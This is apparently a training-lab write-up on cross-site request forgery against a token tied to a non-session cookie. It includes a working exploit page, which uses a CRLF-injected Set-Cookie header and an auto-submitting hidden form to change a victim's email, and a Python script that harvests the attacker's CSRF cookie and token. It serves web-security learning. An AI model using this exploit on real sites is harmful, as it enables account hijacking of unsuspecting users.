5. CSRF where token is tied to non-session cookie

This web application is vulnerable to CSRF. An API endpoint and its parameters are well known, and actions can be taken using a user’s cookie without verifying the redirecting page. The browser reuses the cookie for this site and submits a POST request on the user’s behalf, forging the request. CSRF tokens for this web application are not correlated with the user’s session, but are correlated to the csrfKey cookie provided by the server.

To solve this, we use an iframe / img tag to coerce the user browser into visiting the /search endpoint for the website. From here, we can set the users csrfKey to our cookie. We then use the CSRF token to change the user’s email address, coercing the user’s browser into submitting a POST request to change their email address.

Solution:

<html>
  <body>
    <form
      action="https://<LAB-ID>.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input
        type="hidden"
        name="email"
        value="pwned&#64;evil&#45;user&#46;net"
      />
      <input type="hidden" name="csrf" value="<CSRF-TOKEN>" />
    </form>
    <img
      src="https://<LAB-ID>.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=<CSRF-COOKIE>%3b%20SameSite=None"
      onerror="document.forms[0].submit()"
    />
  </body>
</html>

Script:

# usage:
# python3 5.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
# --w wiener
# --p peter
 
import http.client
import re
from argparse import ArgumentParser
 
import requests
 
http.client.HTTPConnection.debuglevel = 1
 
 
class Solution:
    def __init__(self, url: str, who: str, password: str) -> None:
        self.url = url.rstrip("/")
        self.who = who
        self.password = password
        self.s = None
 
    def login(self, username: str, password: str) -> requests.Response:
        self.s = requests.Session()
        login_url = f"{self.url}/login"
        r = self.s.get(login_url)
        csrf = re.findall(r"csrf value=([\w]+)", r.text)[0]
        r = self.s.post(
            login_url,
            data={
                "csrf": csrf,
                "username": username,
                "password": password,
            },
        )
 
        return r
 
    def solve(self) -> None:
        self.login(self.who, self.password)
        change_email_url = f"{self.url}/my-account"
        r = self.s.get(change_email_url)
        csrf = re.findall(r"csrf value=([\w]+)", r.text)[0]
 
        print(f"CSRF cookie: {self.s.cookies['csrfKey']}")
        print(f"CSRF token: {csrf}")
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    parser.add_argument("--w", "--who", dest="who")
    parser.add_argument("--p", "--password", dest="password")
    args = parser.parse_args()
    s = Solution(args.url, args.who, args.password)
    s.solve()
 
 
if __name__ == "__main__":
    main()